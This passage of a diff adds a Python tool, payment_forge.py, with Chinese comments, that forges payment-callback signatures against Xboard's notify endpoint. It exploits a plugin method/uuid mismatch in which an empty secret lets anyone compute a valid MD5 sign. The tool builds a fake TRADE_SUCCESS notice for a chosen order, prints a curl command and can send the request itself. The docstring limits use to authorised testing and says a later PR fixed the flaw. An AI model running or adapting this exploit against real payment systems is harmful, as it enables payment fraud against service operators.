插件实例化时把「uuid 对应配置」的 config 塞给「method 指定」的插件。
|
|
6
|
+
若 method=mgate 而 uuid 属于 epay 通道,Mgate 拿不到 mgate_app_secret,
|
|
7
|
+
原实现 md5(http_build_query(params) . '') 可自算 → 验签通过。
|
|
8
|
+
2026-10-12 PR #1061 增加 configuredMethod !== method 校验后失效。
|
|
9
|
+
|
|
10
|
+
用法:
|
|
11
|
+
python3 payment_forge.py --order 202610260001 --uuid <通道uuid>
|
|
12
|
+
python3 payment_forge.py --order X --uuid Y --method mgate --secret '' --json
|
|
13
|
+
python3 payment_forge.py --order X --uuid Y --base https://t.example --send
|
|
14
|
+
|
|
15
|
+
注意:--send 会真实请求目标,仅在授权范围内使用。
|
|
16
|
+
"""
|
|
17
|
+
import argparse
|
|
18
|
+
import hashlib
|
|
19
|
+
import json
|
|
20
|
+
import sys
|
|
21
|
+
from urllib.parse import quote_plus
|
|
22
|
+
|
|
23
|
+
|
|
24
|
+
def http_build_query(d):
|
|
25
|
+
"""复刻 PHP http_build_query:空格→+,特殊字符 percent-encode,
|
|
26
|
+
嵌套数组用 key[sub]=value,None 跳过,bool 转 1/0。"""
|
|
27
|
+
parts = []
|
|
28
|
+
|
|
29
|
+
def enc(v):
|
|
30
|
+
return quote_plus(str(v))
|
|
31
|
+
|
|
32
|
+
for k, v in d.items():
|
|
33
|
+
if v is None:
|
|
34
|
+
continue
|
|
35
|
+
if isinstance(v, bool):
|
|
36
|
+
v = "1" if v else "0"
|
|
37
|
+
if isinstance(v, dict):
|
|
38
|
+
for k2, v2 in v.items():
|
|
39
|
+
if v2 is None:
|
|
40
|
+
continue
|
|
41
|
+
if isinstance(v2, bool):
|
|
42
|
+
v2 = "1" if v2 else "0"
|
|
43
|
+
parts.append("%s%%5B%s%%5D=%s" % (enc(k), enc(k2), enc(v2)))
|
|
44
|
+
elif isinstance(v, (list, tuple)):
|
|
45
|
+
for i, v2 in enumerate(v):
|
|
46
|
+
parts.append("%s%%5B%d%%5D=%s" % (enc(k), i, enc(v2)))
|
|
47
|
+
else:
|
|
48
|
+
parts.append("%s=%s" % (enc(k), enc(v)))
|
|
49
|
+
return "&".join(parts)
|
|
50
|
+
|
|
51
|
+
|
|
52
|
+
def build_sign(params, secret):
|
|
53
|
+
p = dict(params)
|
|
54
|
+
p.pop("sign", None)
|
|
55
|
+
ordered = {k: p[k] for k in sorted(p.keys())}
|
|
56
|
+
query = http_build_query(ordered)
|
|
57
|
+
return query, hashlib.md5((query + secret).encode("utf-8")).hexdigest()
|
|
58
|
+
|
|
59
|
+
|
|
60
|
+
def main():
|
|
61
|
+
ap = argparse.ArgumentParser(description="支付回调签名伪造(生成命令,默认不发送)")
|
|
62
|
+
ap.add_argument("--order", required=True, help="目标订单号(out_trade_no)")
|
|
63
|
+
ap.add_argument("--uuid", required=True, help="支付通道 uuid(从下单响应或后台获取)")
|
|
64
|
+
ap.add_argument("--method", default="mgate", help="URL 里的 {method},默认 mgate")
|
|
65
|
+
ap.add_argument("--trade-no", default=None, help="上游流水号,默认自动生成")
|
|
66
|
+
ap.add_argument("--amount", default="0.01", help="金额,默认 0.01")
|
|
67
|
+
ap.add_argument("--secret", default="", help="插件密钥,空表示站点未配置该插件")
|
|
68
|
+
ap.add_argument("--base", default="https://T", help="目标基址")
|
|
69
|
+
ap.add_argument("--send", action="store_true", help="真实发送(需授权)")
|
|
70
|
+
ap.add_argument("--json", action="store_true", help="输出 JSON")
|
|
71
|
+
args = ap.parse_args()
|
|
72
|
+
|
|
73
|
+
trade_no = args.trade_no or ("FORGE" + hashlib.md5(args.order.encode()).hexdigest()[:12].upper())
|
|
74
|
+
params = {
|
|
75
|
+
"out_trade_no": args.order,
|
|
76
|
+
"trade_no": trade_no,
|
|
77
|
+
"amount": args.amount,
|
|
78
|
+
"status": "TRADE_SUCCESS",
|
|
79
|
+
}
|
|
80
|
+
query, sign = build_sign(params, args.secret)
|
|
81
|
+
body = query + "&sign=" + sign
|
|
82
|
+
url = "%s/payment/notify/%s/%s" % (args.base.rstrip("/"), args.method, args.uuid)
|
|
83
|
+
|
|
84
|
+
result = {
|
|
85
|
+
"url": url,
|
|
86
|
+
"method": args.method,
|
|
87
|
+
"uuid": args.uuid,
|
|
88
|
+
"out_trade_no": args.order,
|
|
89
|
+
"trade_no": trade_no,
|
|
90
|
+
"query_string": query,
|
|
91
|
+
"sign": sign,
|
|
92
|
+
"secret_used": "(空)" if not args.secret else "(已提供)",
|
|
93
|
+
"body": body,
|
|
94
|
+
"curl": "curl -sS -X POST '%s' -d '%s'" % (url, body),
|
|
95
|
+
"post_verify": "下单后重新查订单状态,确认 plan_id/expired_at 是否变化",
|
|
96
|
+
"version_note": "Xboard 2026-10-12 前(PR #1061 未合并)可打;之后校验 configuredMethod 会抛 payment method mismatch",
|
|
97
|
+
}
|
|
98
|
+
|
|
99
|
+
if args.send:
|
|
100
|
+
import urllib.request
|
|
101
|
+
import urllib.error
|
|
102
|
+
try:
|
|
103
|
+
req = urllib.request.Request(
|
|
104
|
+
url, data=body.encode(), method="POST",
|
|
105
|
+
headers={"Content-Type": "application/x-www-form-urlencoded"},
|
|
106
|
+
)
|
|
107
|
+
with urllib.request.urlopen(req, timeout=20) as r:
|
|
108
|
+
result["http_status"] = r.status
|
|
109
|
+
result["response"] = r.read(2000).decode("utf-8", "replace")
|
|
110
|
+
except urllib.error.HTTPError as e:
|
|
111
|
+
result["http_status"] = e.code
|
|
112
|
+
result["response"] = e.read(2000).decode("utf-8", "replace")
|
|
113
|
+
except Exception as e:
|
|
114
|
+
result["error"] = str(e)
|
|
115
|
+
|
|
116
|
+
if args.json:
|
|
117
|
+
print(json.dumps(result, ensure_ascii=False, indent=2))
|
|
118
|
+
else:
|
|
119
|
+
print("目标 :", result["url"])
|
|
120
|
+
print("签名串 :", query)
|
|
121
|
+
print("sign :", sign)
|
|
122
|
+
print("命令 :", result["curl"])
|
|
123
|
+
print("验证 :", result["post_verify"])
|
|
124
|
+
print("版本 :", result["version_note"])
|
|
125
|
+
if args.send:
|
|
126
|
+
print("状态 :", result.get("http_status"), result.get("response", "")[:300])
|
|
127
|
+
return 0
|
|
128
|
+
|
|
129
|
+
|
|
130
|
+
if __name__ == "__main__":
|
|
131
|
+
sys.exit(main())
|